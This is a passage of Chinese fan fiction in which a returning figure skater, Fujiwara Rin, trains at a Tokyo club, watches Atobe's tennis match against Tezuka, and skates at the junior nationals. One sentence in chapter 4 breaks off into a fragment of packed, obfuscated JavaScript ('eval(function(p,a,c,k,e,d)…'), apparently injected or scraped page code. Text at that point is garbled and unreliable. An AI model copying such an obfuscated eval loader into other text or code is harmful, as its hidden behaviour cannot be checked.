他缓缓开口,声音平稳,没有半分被冒犯或不悦,反而有种超出年龄的沉静:“大满贯的赛场,确实是网球的最高殿堂之一。”他承认了那个目标的崇高,“以本大爷的实力,未尝不能在那里争得一席之地。” 随即,他语气一转,指尖习惯性地拂过眼角的泪痣,带着一种近乎理所当然的、更宏大的规划感:“不过,世界的赛场,并非只有那一种尺寸和形状。” “网球,是热爱,也是磨炼自我的方式。未来,它依然会是重要的部分。”他顿了顿,目光重新变得锐利而充满掌控欲,“至于其他……本大爷要掌控的,是更广阔的版图。只是换了一个赛场。规则更复杂,对手更无形,但征服的乐趣,并未减少。” 他没有说“我不能”,也没有说“我放弃”。他只是坦然地接受了天赋与责任交织的现实,将“网球”这个选项,放置在一个更庞大的蓝图中。 这番话说得如此自然,如此“迹部”,反而让凛刚才那一瞬间的尴尬消失无踪。 “听起来,你早就规划好了更华丽的舞台。” “舞台永远在扩展。”他说,眼神在朦胧灯光下亮得惊人,“而本大爷,会站在顶端。” “那么,”她拿起自己的椰子水,朝他举了举,带着笑意,“祝你早日建立起属于你的‘王国’。” “啊嗯,你也是。”迹部与她轻轻碰瓶,玻璃和利乐包装相撞,发出一种奇妙地带着共振的微响。 “敬征服。”她说,眼里映着石灯和星光。 “敬征服。”迹部重复,与她相视一笑。 4. chapter4 晨光中,东京滑冰俱乐部的冰场泛着冷冽的光泽。藤原凛比约定时间早了十五分钟到达,挡板边,佐久间智弘已经抱着记录板站在那里。 “早,藤原。”佐久间教练的问候简洁如常。 “早,佐久间老师。”凛笑着打招呼。 没有多余的寒暄,凛开始热身。俱乐部其他选手陆续到达,目光不时流连在她身上,又三两围在一起窃窃私语,讨论她这个俱乐部新人。凛能感觉到那些目光在她身上逡巡。 佐久间看了下手表,拍拍手招呼所有选手集中。“各位,向大家介绍一下,这位是藤原凛,从今天起加入俱乐部,和大家一起训练。” “大家好,我是藤原凛。”凛微微点头致意。 短暂的寂静。 随即,是几声客气的、带着审视意味的问候。 “藤原桑,请多指教。” 合训开始。佐久间并没有让她立刻展示那些引人注目的四周跳,而是下达了一系列基础指令:“先做一组压步,不同方向的。然后弧线滑行,注意用刃深度。最后接一套接续步,按你自己的习惯来。” 凛依言滑出。她专注于脚下,深刃划过冰面,发出稳定而清脆的嘶嘶声。她的滑行流畅得如同本能,每一个转体都带着自然的倾斜,弧线饱满而稳定,加速与减速间的过渡几乎无迹可寻。 “滑得真漂亮……”一个看起来年纪较小的选手低声对同伴说,语气里带着羡慕。 “哼,花架子罢了,女单最终还是要看跳跃。”另一个声音略带尖锐地反驳,虽然压低了,但在空旷的冰场边缘依旧清晰。 佐久间教练在记录板上飞快地写着,表情始终沉稳。 直到基础评估接近尾声,他才终于提及跳跃:“现在,从三周跳开始,把所有的种类都做一遍。注意起跳和落冰的衔接。” 3T, 3S, 3Lo, 3F, 3Lz……凛轻松地完成了所有五种三周跳,尤其是3Lz(勾手三周跳),高远度惊人,点冰干净利落。 “继续,四周跳。” 凛深吸一口气,顺着挡板边缘开始压步,助滑,加速,起跳,腾空,四周旋转——落冰! 4T成功。 紧接着是4S,第一跳起跳高度不足,落冰摔在地上。但她很快起来,重新加速滑行。这一次,4S也顺利完成,巨大的落冰声响彻冰场。 冰场仿佛被按下了静音键。连背景音乐都似乎变得遥远。 之前说“花架子”的那位,此刻张了张嘴,最终什么也没说出来,只是死死地盯着凛落冰后那沉稳的滑出姿态。 宫本优子——俱乐部目前公认的女单一姐——正靠在挡板边喝水。凛轻松地完成了4T和4S,冰花在她脚下炸开,如同无声的宣告。优子的手指微微收紧,塑料水瓶发出轻微的“嘎吱”声。 这个空降的新人,不止拥有着惊人的混血美貌,还拥有难以比肩的技术难度。仅仅在合训的第一天,就用两个大多数男单选手都未必能轻松稳定完成的四周跳,轻易地动摇了这里固有的秩序。 威胁感,如同冰冷的蛇,悄无声息地缠绕上优子的心脏。不是嫉妒,是一种更深刻、更冰冷的东西——某种足以颠覆她熟悉的一切的力量。这不仅仅是多了一个竞争对手那么简单。 然而,佐久间却在看到她完成4T后皱了皱眉,“再来一个4T。” 再次加速,这一次,她的准备距离更长,起跳更加用力,但落冰瞬间,身体极轻微地晃动了一下,轴心有那么一刹那的偏离,虽然被她强大的核心控制力迅速修正,却没有逃过佐久间锐利的眼睛。 “停一下。”佐久间招招手,示意她滑过来。他调出平板电脑上刚刚录下的4T慢动作回放,指着空中姿态说道:“藤原,注意到你的轴了吗?” 画面中,凛的身体在空中旋转时,确实存在极其细微的、并非完全笔直的倾斜。 “藤原,你的跳跃能力,尤其是爆发力和起跳高度,是顶级的,这给了你充足的落冰空间。”佐久间的分析一针见血,“但是,起跳越高,重心也越高,这意味着你面临的转动惯量更大。” 他的目光落在凛修长的四肢上:“你的肢体修长,滑行起来表现力好,这是天赋,但也同时带来了挑战,让你在跳跃中收紧到最紧凑状态所需的时间更长,对控制精度的要求也更高。在这个过程中,如果手臂、腿部的发力收紧有哪怕毫秒的不同步,就会像……”他寻找着一个恰当的比喻,“像一个制作略有偏差的陀螺,旋转起来轴心就会晃动。” 佐久间从平板电脑中,调出刚刚用高速摄像机捕捉的4T起跳、空中旋转和落冰的连续画面,逐帧播放给她看。 “看这里,”他的指尖点在空中旋转的某一帧,“你的上臂已经完全收紧了,但腿部还没有,导致身体轴心在旋转初期就产生了微小的偏移。你的核心力量很强,在三周跳中,这个问题被转速需求相对较低所掩盖,但在对转速要求极致、容错率更低的四周跳中,这个问题就被放大了。” 凛凝神听着,不自觉的点头。这是她第一次如此清晰地理解自己技术中潜藏的问题。她之前隐约感觉到某些跳跃的“不顺”,在落冰时需要额外的核心力量去调整平衡,但没觉得是个大问题。毕竟,四周跳旋转惯性要更大,落冰的时候有些不稳定她觉得也能接受。 “解决思路之一,是考虑通过rippon(举手)姿态来调整。在Rippon姿态中 ,你可以把胳膊贴在头两侧,尽可能地靠近身体的中心旋转轴,这样身体可以像一个更“整体”的的柱体,理论上可以增强轴的稳定性。”佐久间继续道,“但这也有弊端,上手可能会影响你目前已经习惯的、依赖纯粹爆发力的收紧速度,导致旋转速度下降。而且需要你起跳的用刃、发力点和身体姿态绝对精准,一旦起跳角度出现偏差,你很难在rippon姿态下进行调整,很可能就会一歪到底。这是一个需要权衡和尝试的方向。你可以从今天开始,在陆地模仿和低空跳跃中尝试不同的手臂配合模式,找到最适合你身体的本体感觉。” “另外,”佐久间切换页面,调出了她过去比赛的节目构成示意图,“你目前的三周跳,进入和滑出的步法衔接相当丰富,展现了很好的滑行能力。但你的四周跳,衔接就变得相对简单。可以理解你是为了确保起跳速度和成功率,但这并非长久之计。当前的重点之一,是调整你的节目编排。” 他看向上野理惠,上野接过话头,语气温和却充满力量:“我们会重新规划跳跃在节目中的分布,在保证技术基准分的同时,尽可能将你的高难度跳跃编排在更能体现音乐情绪和你个人特色的段落。同时,要加强所有跳跃,尤其是四周跳之前的衔接步法复杂性,不能让你卓越的滑行能力在最重要的跳跃时刻被浪费。” “更重要的是,”上野的目光炯炯有神,“我们要开始构思能真正突出你个人特质的表演风格。你的混合血统,你的技术特点,你的性格……这些都将融入你的节目。我们要让每一套节目,都是一个完整的‘艺术作品’,而不是应付规则的‘技术作业’。” 凛听着,眼眸越来越亮。她感觉自己好像找到了一个不仅能看出问题所在,更能提供系统性解决方案,并且理解她艺术潜力的引路人。这个人看到了她所有的碎片——俄式的跳跃、冰舞的滑行、多文化背景——并正在尝试将它们整合成一件独一无二的艺术品。 然而,俱乐部并非真空。资源的倾斜,主教练和首席编舞师明显投向新人的关注,很快在原本平静,或者说维持着表面平衡的女单组激起了涟漪。 第一次感受到氛围变化,是在更衣室。凛推门进去时,里面原本聚在一起聊天的三四个年轻女单,声音戛然而止。她们互相交换了一个眼神,然后默契地几乎是同时散开,各自低头整理衣物,仿佛刚才的热络只是幻觉。空气里只剩下拉链和柜门开合的细微声响。 凛默不作声地走到自己的柜子前。她能感觉到那些看似不经意的视线,像细小的针,若有若无地刺在她背上。主导这一切的,是俱乐部原先的“一姐”,拥有稳定3A的宫本优子。她正坐在长凳上系鞋带,侧脸线条绷得有些紧,自始至终没有抬头看凛一眼。 冰场上也是如此。当凛完成一组步法练习,滑向场边休息时,不远处正在压腿的宫本优子会立刻站起身,招呼旁边的两个女孩:“我们去练习联合旋转吧。”几人便很快滑开,将凛独自留在原地。陆地训练分组,她常常是最后被剩下的那个。 最明显的是那天下午,凛在练习4S时连续两次落冰摔倒。她撑着冰面刚要起身,就听到不远处传来几声刻意压低的、却足够让她听见的嗤笑。她抬起头,看见宫本优子正和那个最初表示羡慕凛滑行的小选手美嘉说着什么,美嘉低着头,手指绞着衣角,在凛看过去时,迅速低下头,慌乱地移开了视线。 跟风站队,是这种封闭环境里最常见的自保方式。 但她没有表现出任何不安或委屈。她依旧按照计划完成每一项训练,照常向佐久间教练请教技术细节,与上野编舞师讨论节目衔接,眼神专注,仿佛周遭的一切都与她无关。 但这种刻意的孤立,像一层薄冰覆盖在训练馆的表面,影响了整体的氛围,连教练们都察觉到了。 “老师,这……”上野理惠眼里不无担忧。 “再看看。”教练的介入也许会让现在的选手有所收敛,但也或许会让现在明面的问题转到私下。 佐久间看向宫本优子的方向,优子跟着他训练已经有五年多了,她本质并不是这样的,也许只是应激性的反应。 这样想着,他又转向凛的方向。那么,藤原凛,你会怎么做呢?就这样忍受,还是反抗? 他也想看看,这个内心似乎蕴藏着巨大能量的少女,会如何应对这种运动队里常见的人际压力。 第一周的训练在一种表面的平静与暗地的紧绷中结束。周五下午,训练结束后,大部分队员已经离开,更衣室里只剩下零星几人。藤原凛正坐在长凳上低头解着冰鞋的鞋带,宫本优子则已经换好衣服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她忍不住反唇相讥,话语变得直接而尖锐:“话说得真漂亮呢。但资源确实向你倾斜了,不是吗?在佐久间老师和上野老师那里,你现在就是优先级最高的那个!这不是占据是什么?” 凛点了点头,居然坦然承认了:“是的,目前看来是这样。” 她看着优子因为她的坦然而更加气愤的表情,继续说道,眼神里没有挑衅,反而有种奇异的认真,“所以,你也可以把这些关注和资源,靠实力重新夺回去。” 优子几乎要气笑了,她觉得眼前这个人简直不可理喻:“你有四周跳,你当然可以站在高处说这种大义凛然的话!但这是那么容易做到的吗?!” “那么,”凛微微偏头看她,目光清澈,“宫本桑跳出3A的时候,有觉得自己是占据了其他没有3A的前辈的资源吗?” 这句话像一道闪电,猝不及防地劈中了优子。她张了张嘴,一时间竟无法回答,眼中闪过一丝震动和茫然。她想起自己当年为了练3A,付出了多少汗水和泪水,那时候心中只有超越自我的念头,何曾想过“占据”? 凛没有再等她回答,背着包向门口走去。在手触到门把手时,她停下脚步,“如果你觉得我占据了你应有的资源,你可以继续这样做。但你知道这样没有意义。没有我,也可能会有其他人。宫本桑,真正的赛场不在这里。” 说完,她拉开门,走了出去。 更衣室里只剩下优子一个人,站在原地,耳边回荡着凛最后那句话。 真正的赛场不在这里。 是啊,一切都是靠实力而已。她有3A的时候,她是俱乐部的焦点;现在藤原凛有四周跳,所以获得了更多的关注。有实力才有话语权,这本来就是竞技体育最残酷也最公平的规则。 她复盘了过去这一周自己的状态——训练时注意力涣散,总是忍不住去观察藤原凛,和队友们窃窃私语的时间远比专注训练的时间多,训练效率和质量简直惨不忍睹。她到底在做什么?用这种幼稚的手段,就能让藤原凛消失吗?就能让自己变得更强吗? 一种强烈的懊恼涌上心头。 新的一周训练开始。当凛在练习间隙,习惯性地去摸纸巾却发现用完时,旁边默默递过来一包全新未开封的纸巾。凛抬头,宫本优子依旧没什么太多表情,但眼神已然不同的脸。 “谢谢。”凛接过,坦然道谢。 优子微微颔首,什么也没说,转身继续投入训练。 简单的两个字,仿佛打破了某种坚冰。原本有些沉闷、带着隐晦对抗的训练馆,氛围开始转变。 美嘉又开始怯生生地和凛说话,甚至鼓起勇气请教她某个滑行中用刃的技巧。而宫本优子,眼神里重新燃起了专注的火焰。她看着凛一次次挑战并完善那个曾让她感到威胁的4周跳,内心深处某种被安逸磨平了的斗志,也被悄然点燃。拥有3A不是终点,或许……她也可以尝试挑战更高的难度。在一次合乐训练后,优子主动向佐久间教练提出,她想开始尝试超C级(四周跳)的陆地模拟训练。她不想被甩开太远。 俱乐部里,一种悄然转变的氛围开始弥漫。孤立与排挤消失了,取而代之的是一种更加积极、甚至带着些许紧迫感的竞争氛围。每个人都仿佛被注入了一股新的动力,不再盯着别人的进度,而是更加专注于打磨自身的每一处细节。 佐久间教练将这一切看在眼里,在训练笔记上,于藤原凛的名字旁边,又添上了一个小小的注脚:“技术调整潜力巨大,心智成熟,具备引领团队正向发展的潜在影响力。” 风暴的种子已经埋下,而土壤,似乎比她想象的更要坚实。 5. chapter5 藤原凛是在关东大赛单打一比赛前到的。她答应迹部来看比赛,但是不能确定时间。结束俱乐部的冰上训练到达时,单打一的比赛即将开始。 盛夏的热浪扑面而来,空气粘稠,观众的喧嚣声几乎要掀翻赛场。她艰难得找了个位置坐下——观众席出乎她意料地居然近乎全满——而后目光锁定了场中那个熟悉的身影。 说是熟悉,但又有点陌生。 球场上的迹部景吾,像是完全换了一个人。 耀眼。 无可比拟的耀眼。 他当然是好看的,从小就是,毋庸置疑。她记得小学的时候几乎每天都有小女孩给他送礼物,某年的情人节还收到过“情书”,哪怕身后有不爱言语的大个子桦地跟着,也没能阻挡小女孩们的热情。但那时的好看,带一点可爱和臭屁。机场重逢时,他身形更加修长,面容更加精致、更加棱角分明,但他展示的更多是熟稔旧友和迹部家“继承人”的形象,只是偶尔才会流露少年人的锐气。 好看帅气吗?当然。但不是今天这样,不是在球场上这样。 迹部打了个响指。 瞬间,整个冰帝应援区爆发出震耳欲聋的、训练有素的欢呼——“胜者是冰帝! 胜者是迹部!” 凛被这突如其来地应援声吓了一跳,看着旁边穿着冰帝校服的少男少女们拿着应援手幅和道具欢呼着,头一次亲身体会到他邮件里用的“君临天下”那个词——她一直以为这是他带点夸张的描述。现在看来,现场只有更夸张,夸张到,反而显得坐在椅子上的安静的她有些格格不入。 场上的迹部,微微扬起下巴,唇角勾着自信的弧度,坦然接受着所有人的注目。阳光炽烈,却仿佛只是为他加冕的光束。他周身散发着一种凌厉的光芒,与平日那个从容又锐利的少年截然不同,即使隔了一段距离,也能感受到那股迫人的气场。 凛感觉自己的心跳有些失序,一种陌生的、微妙的悸动在心底蔓延。她下意识地按了按胸口。 很奇怪。 她身处花样滑冰这个盛产俊男美女的项目,见过太多容貌出众的男单选手,按理说早已对好看的外表产生免疫。可此刻,看着迹部那抹张扬又自信的笑容——那种毫不掩饰的王者之风,那种将“华丽”贯彻到极致的表现欲,具有一种独特的魔力,极具侵略性。 她的目光扫过球网对面那个同样引人注目的青学部长。不可否认,他的对手也是极为出色的选手,气质清冷沉静。但当两人同处一片赛场,凛发现自己的视线总会不由自主地被迹部吸引。 “果然……运动的男生最帅吗?”她低声自语,试图将这归因于荷尔蒙的作祟。 比赛开始了。 迹部的攻势迅猛而精准。凛虽然看不懂太多战术细节,却能清晰地感觉到,他几乎每一球都冲着对手的左半场去。那不是漫无目的的攻击,而是带着明确意图的、冷静的狩猎。 观众席上开始有了细微的议论。 “手冢部长的手臂好像……” “迹部是发现了什么吗?” 凛的心微微提了起来。她看到青学那位部长挥拍时,左臂的动作似乎有些微的不自然,但他回球的力量和角度依然不容小觑。但,迹部的战术意图太明显了,明显到连她这个外行都看得出,他在针对那个“弱点”。 “迹部是……看准了这一点在攻击吗?” “这样赢了,也不太光彩吧……” 议论声像细小的针,钻进凛的耳朵里。一种复杂的情绪在凛心中滋生。 理智告诉她,竞技体育,发现并利用对手的弱点是再正常不过的策略,甚至是智慧的体现。但情感上……她看着迹部那张在比赛中依旧保持着某种华丽姿态的侧脸,莫名觉得,这种“针对性”的胜利,似乎并不完全符合他向来标榜的,“用绝对实力碾压”的美学。 比赛胶着得令人窒息。时间被无限拉长,每一分都争夺得异常惨烈。手冢额角的汗越来越多,左手在非击球时垂落的姿态也越发明显,可他的眼神始终平静坚定,没有丝毫退意。甚至,当青学那边传来“部长,成为青学的支柱吧!”的喊声时,凛清楚地看到,那位部长眼中的光芒更加决绝了。 而迹部…… 凛的视线紧紧跟随着他。他依旧在得分,依旧掌控着比赛的节奏,但他脸上那惯有的、游刃有余的傲慢渐渐被一种更凝重的专注取代。他的呼吸变得急促,每一次挥拍似乎也带上了比之前更沉的力量。 不像是在享受胜利的进程,更像是在……推动一场必须完成的、却并不愉快的仪式。 最后一球,以一种近乎残酷的方式到来。手冢的发球已经失去了威胁,回球也勉强过网。迹部没有犹豫,一记干净利落的扣杀终结了比赛。 “比赛结束,冰帝学园迹部获胜,比分7-6。” 冰帝的应援区爆发出巨大的欢呼。凛却下意识地,将目光牢牢锁定在迹部身上。 他没有笑。 没有向看台挥手,没有做出任何胜利者的姿态。 他站在原地,胸膛起伏,汗水顺着发梢不断滴落。然后,他做了一件让凛有些意外的事——他走向网前,握住了手冢伸出的右手,没有立刻放开,紧接着,竟然将两人交握的手高高举过了头顶! 短暂的寂静后,是全场爆发的热烈的、含义复杂的掌声与欢呼。不仅仅属于胜利者迹部景吾,更属于那个战斗到最后一刻的手冢国光。 这个动作只持续了几秒,却仿佛永恒。迹部放下手,目送手冢离去,然后默默转身,走向场边的长椅。 桦地递上毛巾。 迹部接过来,没有擦拭,而是猛地、近乎粗暴地将整条白色毛巾盖在了自己的头上,彻底隔绝了外界的视线和喧嚣。他维持着那个姿势,坐在长椅上,肩膀的线条绷得紧紧的,一动不动。 欢呼声还在继续,但凛觉得那些声音突然变得很远。 他不高兴。 这个认知清晰地击中了她。赢得如此关键的一战,他却不高兴。甚至,那用毛巾盖住头的姿态,透出一种罕见的、近乎脆弱的隔离感。 为什么? 凛的心像被什么东西轻轻攥了一下。她试图把自己放到他的情况里去思考。如果是她,即使对手因伤未能发挥全力,获胜的喜悦也应该是真实的。 但迹部……他的骄傲似乎不允许他完全坦然接受这样一场胜利。他赢得了比赛,却好像输掉了某种他更在意的东西。或许是那种纯粹的、硬碰硬的征服快感,或许是他自己内心对“华丽胜利”的定义。 迹部确实不高兴。 他不止不高兴,他甚至觉得……折磨。 最初他是坚定的。几球的试探,让他确定了手冢的弱点。他从容不迫地布局,像一位在棋盘上落子的棋手。深远的底线对拉,逼迫手冢不断使用那会加剧伤势的“手冢领域”。那时的他内心冷静得像一块冰,等待着手冢的放弃。 然而,预期中崩溃并未到来。手冢 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毛巾下的黑暗,成了他唯一的庇护所。 他维持着这个姿势,良久。凛看着他,默默收回目光,没有上前打扰。随着人流离开赛场时,那份沉甸甸的感觉依然萦绕心头。 回到家中,客厅电视里正播放着国际新闻,电视里传来播音员平稳的播报:“……此次制裁直指A国半导体产业的薄弱环节,预计将对其经济造成显著影响……” 藤原先生轻轻叹了口气,对刚进门的女儿感慨道:“看到了吗,凛?国与国之间的博弈,有时候就是这样。一旦被对手抓住经济命脉上的弱点,就可能陷入被动。竞争,从来都不是请客吃饭。” 凛听着父亲对博弈的随口点评,好像忽然对迹部在赛场上的抉择有了更深一层的理解。那针对性极强的战术,不是迹部个人的任性,而身为部长必须背负的责任。那是身处其位不得不做的、有时甚至违背本心的权衡。他赢了,冰帝和青学还能打附加赛;他若输了,身后,是整个团队一个赛季的努力化为泡影。 他选择用最保险的策略,把冰帝推向既定的轨道。他甚至可能期望过手冢会因为伤势而选择退赛,保全自己,也避免这样一场残酷的消耗战。但他低估了对方同样为团队奉献一切的觉悟。 想明白这一点,凛心中那点困惑化为了更复杂的情绪。有对这场惨烈对决的震撼,有对两位部长各自担当的敬佩,还有一种……细微的、为他感到的心酸。那个向来将“华丽”挂在嘴边、自信到近乎嚣张的迹部景吾,为了团队的胜利,宁愿背负可能存在的争议,亲手执行了这样一场与他美学并不完全相符的战术。他的骄傲,在责任面前,选择了让位。他选择了责任,却又好像无法说服自己的骄傲。 她拿出手机,调出下午拍下的一张照片——阳光下的迹部,跃起扣杀,身姿凌厉,眼神锐利如刀,光芒四射。 那一刻的他,无疑是耀眼至极的。 她凝视照片片刻,指尖轻触屏幕,打下两行字: 「很帅。」 「下次为自己而战吧。」 点击发送。 她不知道他会如何回应,或许根本不会回应。但这无关紧要。她只是觉得,在那个他用毛巾隔绝世界的时刻,她似乎触碰到了他华丽表象下不为人知的重量,而这份认知,让之前那份单纯的视觉悸动,悄然沉淀为了更真切、更深刻的心动。 她看到了一个更耀眼、更复杂、也更真实的迹部景吾。 6. chapter6 莫斯科的清晨与东京的午后,通过光纤电缆连接在了一起。在TSC俱乐部那间安静的办公室内,藤原凛坐在佐久间教练身旁,面前的电脑屏幕上,是她在俄罗斯的恩师奥列格那张一贯严肃的脸。这是一场至关重要的三方会议,目的正是为她回归日本后的竞技道路定下基调。奥列格和佐久间都认为,将青年组大奖赛(JGP)作为藤原凛的国际赛场首秀,无论是赛事级别还是竞争强度,都极为合适。 不过,日本滑联(JSF)对于国际赛事的选手权有着严格的选拔机制。根据往年惯例,只有在全日本青年锦标赛中站上领奖台,藤原凛才能进入日本滑联的考量范围,并根据最终排名获得参加某站JGP的资格。 而作为从来没有在日本比赛、也没有国籍比赛成绩的选手,她要获取锦标赛资格还需要地区预选赛和关东大赛的考验,还要参加日本的技术级别测试。当然,两位教练都认为藤原在正常发挥状态的情况下,通过这些比赛和测试,都没什么问题。 话题随即转向了更具策略性的节目配置讨论。 奥列格的声音透过扬声器,带着莫斯科训练馆里惯有的冷硬与直接:“Aria,训练和比赛是两回事。正因为如此,你才需要通过真正的比赛,在压力下检验你的训练成果!一个足够惊艳的亮相——比如一个干净利落的四周跳——能让所有人,包括那些可能戴着有色眼镜的裁判,立刻记住你的名字。你是带着我们的体系回去的,某种程度上,你是‘外来者’,你需要用实力宣告你的到来。”他的话语充满了俄式竞技的侵略性。 佐久间教练则一如既往的沉稳,他等奥列格说完,才平静地开口:“藤原,我理解奥列格教练的考量。但请记住,正因这是你在日本的第一场比赛,稳定比惊艳更重要。一套高质量、零失误的三周跳节目,足以让你在全日新人战中站上领奖台。目前日本的青年女单,零星或有成功跳出3A的选手,但足周的四周跳几乎绝迹。先站稳脚跟,建立起裁判对你的良好印象和自信心,比冒险挑战一个可能因压力而失误的超高难度动作,是更为稳妥和可持续的策略。”他的考量基于对选手长期发展的保护以及对新环境适应性的重视。 两位教练的观点截然不同,却各有坚实的逻辑。凛坐在中间,感受着这两种不同执教哲学的交锋。佐久间教练的稳健如同厚重的大地,为她规划着一步一个脚印的扎实道路;而奥列格教练的激进则像炽热的火焰,激励着她去挑战极限,瞬间点燃赛场。 她没有立刻表态,陷入了短暂的纠结。从内心深处,她渴望在正式比赛中展示她苦练多年的成果,用最具说服力的方式证明自己。但佐久间教练的谨慎,源于对日本花滑环境的深刻理解,她不能忽视。 她下意识地想起了迹部景吾。自从上次看完他的比赛,发出那条信息后,对方果然没有回复。她不知道他是如何想的。自己那莫名而来的心动,在紧张的备赛期也显得不合时宜,索性将精力全部投入到训练中,暂时切断了联系。可当真遇到难题,第一个想与之讨论的人,依然是迹部——好吧,她也没有其他同龄人可以交流。 她拿起手机,斟酌着词句,将两位教练的不同意见和自己的犹豫,简要地发了过去。 迹部的回复比她预想的要快,而且一如既往的斩钉截铁,带着他特有的风格: 「我赞成奥列格教练的想法。竞技场上,实力才是最好的宣言。藏着掖着,不符合本大爷的美学。」 紧接着,下一条信息又发了过来,显示了他更缜密的思考: 「不过,佐久间教练考虑环境适应也有道理。区域预选赛和关东大赛竞争不大,你可以先用三周套熟悉流程,积累比赛感觉。等到全日青,再祭出你的四周跳,一锤定音。这样,也不算完全反驳佐久间教练的建议。」 凛看着屏幕上的文字,仿佛能看到他那种自信模样。原本盘旋在心头的迷雾,似乎被这清晰有力的逻辑驱散了不少。她心下渐渐有了明确的方案。 接下来的技术级别测试进行得异常顺利。凭借佐久间教练的推荐和联盟的特批,她直接参加了最高级别的考试。冰场上,她依次展示了六种三周跳(3T、3S、3F、3Lo、3Lz和2A),每一跳都是高、飘、远,落冰沉稳。规定图形环节,她的用刃、转身都极为流畅,冰痕重叠度完美。旋转和滑行更是她的强项,无论是柔韧的贝尔曼还是步法复杂的接续步,都完成得无可挑剔。 场边几位考官交换着赞赏的眼神,低声议论:“基础非常扎实,尤其是滑行和用刃,不像这个年纪的孩子能有的控制力。”“跳跃质量很高,是棵好苗子。” 然而,也有不同的声音,带着一丝不易察觉的挑剔:“毕竟是海外训练的底子,和国内一步步培养起来的,感觉还是不一样。”“通过高级别的年龄也不算特别突出,别忘了当年那位12岁就通过的天才……” 这些议论,凛无从得知,但她能感觉到审视的目光中包含的不同意味。< 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“美嘉,你们俱乐部的那个藤原凛选手,这次关东大赛真是太厉害了!”莉奈挖了一勺冰淇淋,语气里满是羡慕,“那个3Lz+3T的连跳,高度和远度都太漂亮了。我看全日新人战的冠军,应该就要在她和关西的铃木樱之间产生了呢。” 美嘉听到朋友夸奖自己俱乐部的“风云人物”,与有荣焉的感觉油然而生。她下意识地微微挺直了背脊,脸上露出一丝小小的骄傲。她凑近了一点,压低了声音,仿佛在分享一个只有内部人员才知道的秘密:“其实……这还不是凛前辈的完全体呢。”美嘉的眼睛亮晶晶的,带着一种知晓内情的兴奋,“她在训练里,早就能跳四周了!而且成功率很高!” “四……四周跳?!”莉奈的勺子差点掉在桌上,她吃惊地捂住嘴,眼睛瞪得圆圆的,“真的吗?女单的四周跳?我还以为只是传闻……” “当然是真的!”美嘉用力点头,回想起她在俱乐部冰场角落,偶尔瞥见佐久间教练带着凛进行那些高难度跳跃训练时的场景,“我亲眼见过她练4T和4S,落冰可稳了!凛前辈她……真的很强呢。” 莉奈消化着这个惊人的信息,喃喃道:“天啊……如果她在全国赛上拿出四周跳,那岂不是……” 美嘉赶紧把手指竖在嘴唇上,做了一个“保密”的手势,但眼里的光彩却藏不住。这个由仰慕者在不经意间透露出的“秘密”,如同被风吹起的蒲公英种子,悄无声息地在小小的花滑圈子里飘散开来。 7. chapter7 全日青年锦标赛的场馆内,气氛热烈而紧绷。女单短节目的竞争已进入白热化,最后一组的选手即将登场。藤原凛抽到了第五位,也是本组的最后一位出场。而她的主要竞争对手之一,来自关西、被誉为本土新星的铃木樱,则在第三位出场。 铃木樱身着一套柔美的樱花粉色考斯滕,头发扎成低马尾,带着微笑踏进冰场。她拍了拍腿上的肌肉,内心有些紧张。 她听说了,今天和她同场竞技的有一位据说有四周跳储备的“天才”少女。她在之前地区比赛的录像里已经“见”过她,容貌和技术都非常出众。 铃木樱试着攥紧拳头,却感觉不到丝毫力量。冰面像一片巨大的、沉默的白色深渊,好像要把她吞掉。 就在这时,一双温暖而干燥的手伸了过来,稳稳地、完全地包裹住了她冰冷的双手。像锚一样,将她即将飘走的神智牢牢定在原地。 是她的教练。 铃木闭上眼睛,身体微微前倾,与教练额头几乎相抵。这是一场无声的仪式。一下,两下……所有的慌乱,像是找到了唯一的出口。原有些紊乱的气息,随着教练的节奏,慢慢地回归平稳。 “你所有的努力,我都看在眼里。相信自己。”最后一下深长的呼吸后,铃木睁开眼睛,坚定的点点头,然后转身,蹬冰,笑着扬起双手滑向冰场中央。 铃木樱短节目音乐选自一部经典的小提琴奏鸣曲的一章《春天奏鸣曲》,她随着轻快的音乐节拍起舞,顺利地完成整套节目。虽然跳跃高度和远度不算出众,但表演风格灵动活泼,也符合裁判对日本女单“细腻可爱”的一贯期待。当她以一个甜甜的笑容结束表演时,现场响起了热烈的掌声。 “铃木樱,技术分(TES)37.67分,节目内容分(PCS)29.54分,总分67.21分。目前暂列第一。” 铃木樱笑着看向教练。这是一个比她预想要好的分数。 压力,无形中传递到了尚未出场的选手身上。 当广播念出“藤原凛”的名字时,现场观众的好奇心被提到了顶点。关于这位归国的混血选手,以及她可能拥有的四周跳传闻,早已在小范围内流传。 “去吧。” 没有什么上场前的仪式,她点点头,摘下刀套,滑入冰场。 一身深蓝色的考斯滕短裙,如同静谧的夜空,上面缀着细碎的亮片,仿佛星辰闪烁;头发挽在脑后,露出光洁的额头。与铃木樱的甜美柔和的风格截然不同,她周身散发着一种清冷而专注的气场。 她的短节目《站在球上的女孩》,灵感来自毕加索的同名画作,讲述一个少女站在球上练习表演的故事。画中的杂技少女踩球的灵动姿态与一旁魁梧男性杂技演员的沉静形成鲜明对比。配乐来自爱沙尼亚作曲家阿尔沃?派尔特的经典作品《镜中镜》。 凛试着做了几个简单的动作热身,然后滑入场地中央站定,双手轻轻上举,摆出和毕加索画作里的少女同样的姿态。 音乐响起。 起初,是几声空旷而略带不安的钢琴音符,如同画布上最初的几笔灰蓝。藤原凛立于冰面,此时的她,不再是那个想要征服冰场的运动员,而只是画中那个站在不稳定球体上,平衡于现实与梦幻边缘的少女。她眼神里没有笑意,只有一种早熟的、穿透时空的忧郁。 开场步法复杂而流畅,深刃滑行带来的速度感瞬间抓住了所有人的眼球。鲍步下腰进入的Loop三周肢体舒展,落冰后几个手臂轻摆的动作又像看到了画中的女孩。High kick衔接起跳的2a轻松完成,落冰紧接着一个提刀燕氏的换刃单足步法。 随后是一个旋转动作,侧蹲转变换为后掖腿姿势的蹲转,像在模拟踩球时的平衡姿态。极简舒缓的旋律营造出空灵静谧的氛围,与她冰上动作完美契合。 节目进入后半段。一个高远度惊人的3Lz+3T,第二跳的3T甚至比一般选手的单跳高度还要高。随后的联合旋转姿势变化多样,换足流畅无缝,极富特色的掩面Y字转赢得了观众的阵阵掌声。 接续步里,她细长且富有表现力的手臂动作如同在诉说故事,时而轻盈舒展,展现掌握新技能的喜悦,时而轻柔回落,像是一种潜藏的脆弱,脚下是复杂多变的内刃、外刃,步伐细密而纠缠。 